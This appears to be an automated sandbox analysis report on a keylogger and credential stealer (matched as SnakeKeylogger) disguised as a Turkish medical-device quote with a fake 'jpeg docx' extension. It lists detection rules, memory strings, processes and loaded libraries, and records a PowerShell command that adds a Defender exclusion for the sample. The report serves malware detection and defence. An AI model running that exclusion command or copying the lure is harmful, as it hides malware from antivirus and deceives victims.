Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_05560040	7_2_05560040
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556F810	7_2_0556F810
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_05560006	7_2_05560006
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556F801	7_2_0556F801
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_05565022	7_2_05565022
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556D0F8	7_2_0556D0F8
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556CC8F	7_2_0556CC8F
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556CCA0	7_2_0556CCA0
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556EF51	7_2_0556EF51
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556EF60	7_2_0556EF60
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556EB08	7_2_0556EB08
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_05560B30	7_2_05560B30
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_05560B24	7_2_05560B24
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_05568B91	7_2_05568B91
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556178F	7_2_0556178F
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556F3B8	7_2_0556F3B8
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_055617A0	7_2_055617A0
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_05568BA0	7_2_05568BA0
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556F3A8	7_2_0556F3A8
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556E249	7_2_0556E249
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_05561E70	7_2_05561E70
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556DE00	7_2_0556DE00
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556EAF8	7_2_0556EAF8
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_05561E80	7_2_05561E80
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556E6B0	7_2_0556E6B0
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556E6A0	7_2_0556E6A0

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1325039921.000000000132E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1325849803.0000000003130000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1329802989.0000000007610000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1325849803.00000000030DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1329561990.0000000006360000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1329340585.00000000061A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000000.1291364221.0000000000DF2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameaWSlJ.exe" vs fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3758135366.0000000000F89000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Binary or memory string: OriginalFilenameaWSlJ.exe" vs fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7360, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7608, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack, U--.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack, --B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack, --B-.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, chcZUZyrDJr55lSd5d.cs	Security API names: _0020.SetAccessControl
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, chcZUZyrDJr55lSd5d.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, chcZUZyrDJr55lSd5d.cs	Security API names: _0020.AddAccessRule
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, oBXJZxdiv8wFS1Sq6H.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, chcZUZyrDJr55lSd5d.cs	Security API names: _0020.SetAccessControl
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, chcZUZyrDJr55lSd5d.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, chcZUZyrDJr55lSd5d.cs	Security API names: _0020.AddAccessRule
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, oBXJZxdiv8wFS1Sq6H.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, oBXJZxdiv8wFS1Sq6H.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, chcZUZyrDJr55lSd5d.cs	Security API names: _0020.SetAccessControl
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, chcZUZyrDJr55lSd5d.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, chcZUZyrDJr55lSd5d.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/6@4/4

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.log

Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7556:120:WilError_03
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Mutant created: \Sessions\1\BaseNamedObjects\EOxaNLpbCQretGUOjgIPYE

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2uokvwa4.ssz.ps1

Jump to behavior

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	ReversingLabs: Detection: 34%
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Virustotal: Detection: 34%

Source: unknown	Process created: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: sspicli.dll	Jump to behavior
